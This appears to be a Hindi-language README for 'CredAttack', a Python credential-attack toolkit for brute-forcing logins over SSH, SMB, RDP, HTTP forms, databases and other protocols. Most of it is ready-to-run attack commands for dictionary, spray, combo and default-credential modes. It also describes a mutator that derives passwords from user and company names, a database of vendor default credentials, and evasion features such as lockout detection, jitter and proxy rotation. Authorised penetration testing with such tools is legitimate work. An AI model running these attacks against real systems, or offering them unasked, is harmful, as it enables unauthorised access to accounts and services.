अपडेट पर वापस जाएँ
UpdatedSep 2, 2026

credential-attacks-toolkit — Updated!

अधिकृत सुरक्षा परीक्षण के लिए पूर्ण क्रेडेंशियल हमला सुइट — SSH, FTP, वेब लॉगिन, ब्रूटफोर्स, डिक्शनरी हमले

साझा करें

CredAttack — क्रेडेंशियल अटैक टूलकिट

Release Python Protocols Tests License

⚠️ कानूनी नोटिस — केवल अधिकृत सुरक्षा परीक्षण।
इस टूल का उपयोग उन सिस्टमों के विरुद्ध करना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (अमेरिका), कंप्यूटर मिसयूज़ एक्ट (यूके) और दुनिया भर के समकक्ष कानूनों के तहत अवैध है। देखें SECURITY.md


विषय-सूची


CredAttack क्या है?

CredAttack एक मॉड्यूलर, उत्पादन-ग्रेड क्रेडेंशियल परीक्षण सुइट है जो अधिकृत पैठ परीक्षण अभियानों के लिए है। यह पूर्ण क्रेडेंशियल-अटैक जीवनचक्र को कवर करता है:

चरणCredAttack क्षमता
टोहडिफ़ॉल्ट क्रेड्स DB (200+ जोड़े), स्मार्ट उपयोगकर्ता-व्युत्पन्न पैटर्न जनरेशन
अटैक17 प्रोटोकॉल अटैकर, 6 अटैक मोड, बहु-लक्ष्य अभियान
चोरी-छिपेलॉकआउट पहचान, कॉन्फ़िगर करने योग्य दर सीमा, जिटर, प्रॉक्सी रोटेशन
रिपोर्टिंगJSONL ऑडिट लॉग, Jinja2 HTML रिपोर्ट, मिले-क्रेड्स बैनर + फ़ाइल डंप

अटैक मोड

मोडकमांडविवरण
डिक्शनरीssh, ftp, smb, …एक उपयोगकर्ता के विरुद्ध वर्डलिस्ट
स्प्रेsprayउपयोगकर्ता सूची में एक पासवर्ड (लॉकआउट-सुरक्षित)
कॉम्बोcomboहर उपयोगकर्ता × हर पासवर्ड
स्मार्टsmartउपयोगकर्ता/कंपनी-व्युत्पन्न पैटर्न जनरेशन
डिफ़ॉल्ट्सdefaults200+ ज्ञात सेवा डिफ़ॉल्ट आज़माएँ
बहु-लक्ष्यmultiहोस्ट की सूची में समान अटैक
पूर्ण पाइपलाइनfullसभी प्रोटोकॉल, एक रिपोर्ट

समर्थित प्रोटोकॉल

#प्रोटोकॉलमॉड्यूलडिफ़ॉल्ट पोर्टनोट्स
1SSHssh.py22paramiko, कुंजी/पासवर्ड प्रमाणीकरण
2FTPftp.py21सक्रिय और निष्क्रिय मोड
3HTTP फ़ॉर्मhttp_form.py80/443स्वचालित CSRF टोकन पहचान
4HTTP बेसिकhttp_basic.py80RFC 7617
5HTTP डाइजेस्टhttp_digest.py80RFC 7616
6SMBsmb.py445impacket, NTLM
7RDPrdp.py3389impacket NLA
8SMTPsmtp.py587STARTTLS
9POP3pop3.py110APOP समर्थन
10IMAPimap.py143STARTTLS
11MySQLmysql.py3306mysql-connector-python
12MSSQLmssql.py1433pymssql
13Redisredis_proto.py6379AUTH कमांड
14MongoDBmongodb.py27017pymongo
15WinRMwinrm.py5985NTLM, pywinrm
16LDAPldap_proto.py389ldap3, rootDSE स्वचालित पहचान
17Telnettelnet.py23रॉ TCP
18VNCvnc.py5900रॉ DES चैलेंज-रिस्पॉन्स

आर्किटेक्चर

credattack.py          ← पतला शिम: `python credattack.py ...` एक चेकआउट से
│
├── credattack/cli.py   ← CLI (Typer) — 8 अटैक-मोड उपकमांड; साथ ही
│                          `credattack` कंसोल स्क्रिप्ट जब pip-स्थापित हो
├── credattack/core/
│   ├── config.py      ← Pydantic v2 Settings, CREDATTACK_* env-var ओवरराइड
│   ├── engine.py      ← AttackEngine (ThreadPoolExecutor + Rich प्रगति UI)
│   ├── lockout.py     ← LockoutDetector (स्लाइडिंग-विंडो, थ्रेड-सुरक्षित)
│   ├── proxy.py       ← ProxyRotator (राउंड-रॉबिन, स्वास्थ्य-जाँच, पदावनति)
│   ├── mutator.py     ← PasswordMutator (leet, मौसमी, प्रत्यय, कीबोर्ड-वॉक…)
│   ├── result.py      ← AttemptResult + SessionReport डेटाक्लास
│   ├── report.py      ← Jinja2 HTML रिपोर्ट जनरेटर
│   └── logger.py      ← Rich लॉगिंग + JSONL ऑडिट लेखक
│
├── credattack/protocols/
│   └── *.py           ← 18 ProtocolAttacker कार्यान्वयन
│
├── credattack/data/
│   ├── default_creds.json    ← 200+ वास्तविक डिफ़ॉल्ट क्रेडेंशियल जोड़े
│   ├── smart_patterns.json   ← 140+ उद्यम पासवर्ड टेम्पलेट
│   └── wordlists/            ← प्रति-सेवा डिफ़ॉल्ट पासवर्ड सूचियाँ
│
└── tests/             ← 50+ pytest परीक्षण (यूनिट + प्रोटोकॉल मॉक)

त्वरित प्रारंभ

# क्लोन करें और सेट अप करें
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements.txt

# संस्करण जाँचें
python credattack.py --version

# ड्राई-रन (कोई कनेक्शन नहीं — अपनी वर्ड सूचियाँ सत्यापित करें)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run

# वास्तविक SSH डिक्शनरी अटैक
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt

# पासवर्ड स्प्रे (दर-सीमित, लॉकआउट-सुरक्षित)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30

# स्मार्ट मोड — उपयोगकर्ता + कंपनी से पैटर्न उत्पन्न करें
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME

# सेवा डिफ़ॉल्ट आज़माएँ
python credattack.py defaults -t 192.168.1.100 --protocol mysql

# बहु-लक्ष्य अभियान
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt

स्थापना

विकल्प A — pip + virtualenv (अनुशंसित)

python -m venv .venv
source .venv/bin/activate        # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt

विकल्प B — Makefile शॉर्टकट

make install      # मुख्य निर्भरताएँ
make install-dev  # + pytest-cov, ruff, mypy

विकल्प C — pip स्थापना (editable या wheel से)

pip install -e .          # केवल मुख्य निर्भरताएँ
pip install -e .[full]    # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev]     # + pytest/ruff/mypy

credattack --version      # कंसोल स्क्रिप्ट, `python credattack.py` के समतुल्य

विकल्प D — Docker

docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help

# अपनी वर्डलिस्ट माउंट करें और आउटपुट एकत्र करें
docker run --rm \
  -v $(pwd)/wordlists:/app/wordlists:ro \
  -v $(pwd)/output:/app/output \
  credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt

CLI संदर्भ

वैश्विक विकल्प

python credattack.py [OPTIONS] COMMAND [ARGS]...

Options:
  -V, --version    संस्करण दिखाएँ और बाहर निकलें।
  --help           सहायता दिखाएँ।

सामान्य फ़्लैग (सभी प्रोटोकॉल कमांड पर उपलब्ध)

फ़्लैगशॉर्टडिफ़ॉल्टविवरण
--target-tलक्ष्य होस्ट / IP
--port0 (प्रोटो डिफ़ॉल्ट)TCP पोर्ट ओवरराइड करें
--username-uएकल उपयोगकर्ता नाम
--user-file-Uन्यूलाइन-पृथक उपयोगकर्ता नाम फ़ाइल
--pass-file-Pन्यूलाइन-पृथक पासवर्ड फ़ाइल
--password-p2एकल पासवर्ड
--threads-n10समवर्ती कार्यकर्ता
--timeout-T5.0प्रति-प्रयास टाइमआउट (सेकंड)
--delay-d0.0निश्चित अंतर-प्रयास विलंब (सेकंड)
--jitter0.0अधिकतम यादृच्छिक जिटर (सेकंड)
--stop-on-firstTrueपहली हिट के बाद प्रति-उपयोगकर्ता रोकें
--proxy-fileNoneHTTP/SOCKS5 प्रॉक्सी सूची
--output-dir-o./outputपरिणाम निर्देशिका
--verbosity-v1लॉगिंग स्तर (0-3)
--dry-runFalseकनेक्ट किए बिना जोड़े गिनें

उपकमांड

# प्रोटोकॉल-विशिष्ट (प्रत्येक एक समर्पित अटैकर से मैप होता है)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
  -t HOST -u USER -P passes.txt

# HTTP (फ़ॉर्म / बेसिक / डाइजेस्ट)
python credattack.py http -t http://target/login --mode form \
  --form-user-field username --form-pass-field password --success-string "Dashboard"

# स्प्रे — एकल पासवर्ड, कई उपयोगकर्ता, लंबा विलंब
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30

# कॉम्बो — कार्टेशियन उत्पाद उपयोगकर्ता × पासवर्ड
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt

# स्मार्ट — OSINT-व्युत्पन्न जनरेशन
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp

# डिफ़ॉल्ट्स — विक्रेता डिफ़ॉल्ट क्रेडेंशियल आज़माएँ
python credattack.py defaults -t HOST --protocol mysql

# मल्टी — कई होस्टों पर समान अटैक
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt

# फुल — क्रम में सभी प्रोटोकॉल
python credattack.py full -t HOST -U users.txt -P passes.txt

पासवर्ड म्यूटेशन इंजन

PasswordMutator in credattack/core/mutator.py रचनात्मक रणनीतियों का समर्थन करता है:

रणनीतिविधिउदाहरण आउटपुट
Leet-भाषाleet_speak(word)p@ssw0rd, p455w0rd
कैपिटलाइज़ेशनcapitalise_variants(word)PASSWORD, Password, pAsSwOrD
प्रत्ययsuffix_append(word)password123, password@2025
उपसर्गprefix_append(word)!password, mypassword
कीबोर्ड-वॉकkeyboard_walk(word)qassword (a→q)
उपयोगकर्ता पैटर्नusername_patterns(user, company)john123, Doe1!, ACME2024!
मौसमी (v1.1)seasonal_patterns(company)Summer2024!, Winter25
विशेष-वर्ण रैप (v1.1)special_char_wrap(word)!@Password, Password!@
संयोजनcombine(word, strategies)उपरोक्त में से किसी को भी श्रृंखलाबद्ध करता है
स्मार्ट (सभी-एक-में)smart_generate(user, company)डीडुप किया हुआ, सीमित स्ट्रीम
from credattack.core.mutator import PasswordMutator

m = PasswordMutator(max_mutations=5000)

# सभी रणनीतियाँ संयुक्त
for pw in m.smart_generate("john.doe", company="ACME"):
    print(pw)

# केवल मौसमी पैटर्न
for pw in m.seasonal_patterns(company="Contoso"):
    print(pw)

डिफ़ॉल्ट क्रेडेंशियल डेटाबेस

credattack/data/default_creds.json में 200+ वास्तविक डिफ़ॉल्ट क्रेडेंशियल जोड़े शामिल हैं:

Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI

# किसी सेवा के लिए सभी डिफ़ॉल्ट देखें
python credattack.py defaults -t HOST --protocol mysql --dry-run

# लक्ष्य के विरुद्ध चलाएँ
python credattack.py defaults -t 10.0.0.1 --protocol ssh

प्रॉक्सी रोटेशन

प्रॉक्सी फ़ाइल पास करें (प्रति पंक्ति एक प्रॉक्सी, host:port प्रारूप):

# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt

ProxyRotator स्टार्टअप पर स्वास्थ्य-जाँच करता है और उन प्रॉक्सी को पदावनत करता है जो विफलता-दर सीमा से अधिक होती हैं। मृत प्रॉक्सी स्वचालित रूप से बाहर कर दी जाती हैं।


HTML रिपोर्ट

प्रत्येक गैर-ड्राई-रन अटैक के बाद ./output/ में एक HTML रिपोर्ट स्वचालित रूप से उत्पन्न होती है:

  • स्टेट कार्ड: कुल प्रयास, सफलता दर, अवधि, प्रयास/सेकंड
  • मिले क्रेडेंशियल तालिका: होस्ट · प्रोटोकॉल · उपयोगकर्ता नाम · पासवर्ड (कॉपी-टू-क्लिपबोर्ड)
  • डार्क-थीम Jinja2 टेम्पलेट
# रन के बाद खोलें
start output/report_*.html      # Windows
open  output/report_*.html      # macOS

कॉन्फ़िगरेशन और पर्यावरण चर

credattack/core/config.py में सभी सेटिंग्स को CREDATTACK_* पर्यावरण चर के माध्यम से ओवरराइड किया जा सकता है:

export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2

या CLI स्तर पर मानक फ़्लैग (--threads, --timeout, आदि) के साथ।


Docker

# इमेज बनाएँ
docker build -t credattack -f docker/Dockerfile .

# Docker Compose के साथ चलाएँ
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt

# पर्यावरण के माध्यम से कॉन्फ़िगरेशन सेट करें
docker run --rm \
  -e CREDATTACK_THREADS=20 \
  -e CREDATTACK_TIMEOUT=3 \
  -v $(pwd)/output:/app/output \
  credattack defaults -t 10.0.0.1 --protocol mysql

परीक्षण

# सभी परीक्षण चलाएँ
pytest -q

# कवरेज के साथ
pytest --cov=credattack --cov-report=term-missing -q

# Makefile शॉर्टकट
make test-cov

वर्तमान सुइट: 50+ परीक्षण कवर करते हैं:

क्षेत्रपरीक्षण
लॉकआउट डिटेक्टर (स्लाइडिंग विंडो, थ्रेड सुरक्षा)test_lockout.py
पासवर्ड म्यूटेटर रणनीतियाँtest_mutator.py
नई म्यूटेटर रणनीतियाँ (मौसमी, विशेष-वर्ण)test_mutator_extended.py
प्रॉक्सी रोटेटर (स्वास्थ्य-जाँच, पदावनति)test_proxy.py
परिणाम और SessionReport डेटाक्लासtest_result.py
SSH प्रोटोकॉल मॉकtest_protocols_ssh.py
FTP प्रोटोकॉल मॉकtest_protocols_ftp.py
HTTP बेसिक और डाइजेस्ट मॉकtest_protocols_http.py

वर्डलिस्ट

⚠️ बंडल की गई wordlists/ फ़ाइलें न्यूनतम स्मोक-टेस्ट स्टब हैं। वास्तविक मूल्यांकन के लिए अपनी स्वयं की आपूर्ति करें।

अनुशंसित स्रोत

वर्डलिस्टआकारसर्वोत्तम के लिए
rockyou.txt~14 Mसामान्य डिक्शनरी
SecLists/Passwords/विभिन्नप्रोटोकॉल-विशिष्ट
kaonashi.txt~64 Mउन्नत कवरेज
OSINT-व्युत्पन्नपरिवर्तनशीललक्षित अटैक
# किसी भी बाहरी वर्डलिस्ट का उपयोग करें
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt

प्रोजेक्ट संरचना

credential-attacks-toolkit/
├── credattack.py               # पतला शिम -> credattack.cli:app (स्रोत-चेकआउट उपयोग)
├── pyproject.toml              # PEP 517/518 बिल्ड और टूल कॉन्फ़िग
├── requirements.txt            # रनटाइम निर्भरताएँ
├── Makefile                    # डेवलपर शॉर्टकट
├── VERSION                     # संस्करण सत्य का एकल स्रोत
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│   └── workflows/ci.yml        # GitHub Actions: lint + test matrix + mypy
├── docker/
│   ├── Dockerfile
│   └── docker-compose.yml
├── credattack/
│   ├── cli.py                  # CLI (Typer) — पैकेज्ड, कंसोल स्क्रिप्ट का समर्थन करता है
│   ├── core/
│   │   ├── config.py           # Pydantic v2 Settings
│   │   ├── engine.py           # AttackEngine (ThreadPoolExecutor)
│   │   ├── lockout.py          # LockoutDetector (स्लाइडिंग विंडो)
│   │   ├── proxy.py            # ProxyRotator
│   │   ├── mutator.py          # PasswordMutator
│   │   ├── result.py           # AttemptResult, SessionReport
│   │   ├── report.py           # HTML रिपोर्ट जनरेटर
│   │   └── logger.py           # Rich लॉगर + JSONL लेखक
│   ├── protocols/              # 18 ProtocolAttacker कार्यान्वयन
│   │   └── base.py             # सार ProtocolAttacker
│   └── data/
│       ├── default_creds.json  # 200+ विक्रेता डिफ़ॉल्ट
│       ├── smart_patterns.json # 140+ उद्यम टेम्पलेट
│       └── wordlists/          # प्रति-सेवा प्रारंभिक सूचियाँ
├── attacks/                    # स्टैंडअलोन एकल-फ़ाइल उपकरण (credattack/ से पहले के;
│   └── *.py                    # अभी तक पोर्ट न किए गए स्क्रिप्ट के लिए रखे गए: JWT क्रैकिंग,
│                                # WAF पहचान, समय-आधारित उपयोगकर्ता गणना)
├── utils/
│   └── credential_utils.py     # attacks/ स्क्रिप्ट के लिए साझा सहायक
├── tests/
│   ├── conftest.py             # साझा फिक्स्चर
│   ├── test_lockout.py
│   ├── test_mutator.py
│   ├── test_mutator_extended.py
│   ├── test_proxy.py
│   ├── test_result.py
│   ├── test_protocols_ssh.py
│   ├── test_protocols_ftp.py
│   └── test_protocols_http.py
├── wordlists/                  # न्यूनतम स्मोक-टेस्ट स्टब
└── output/                     # उत्पन्न लॉग और रिपोर्ट (git-अनदेखा)

अटैक सफलता दर (संकेतात्मक)

पासवर्ड प्रकारडिक्शनरीस्मार्ट मोडस्प्रे (सामान्य)
4 वर्ण~90%~95%~60%
6 वर्ण~65%~75%~25%
8 वर्ण मिश्रित~15%~25%~5%
10+ वर्ण जटिल<5%<5%<1%

योगदान

देखें CONTRIBUTING.md
बड़े PR सबमिट करने से पहले कृपया एक issue खोलें।
सभी योगदानों को SECURITY.md में नैतिक उपयोग नीति का पालन करना चाहिए।


जिम्मेदारी से उपयोग करें। नैतिक रूप से परीक्षण करें। कानूनी बने रहें।

श्रेणियाँ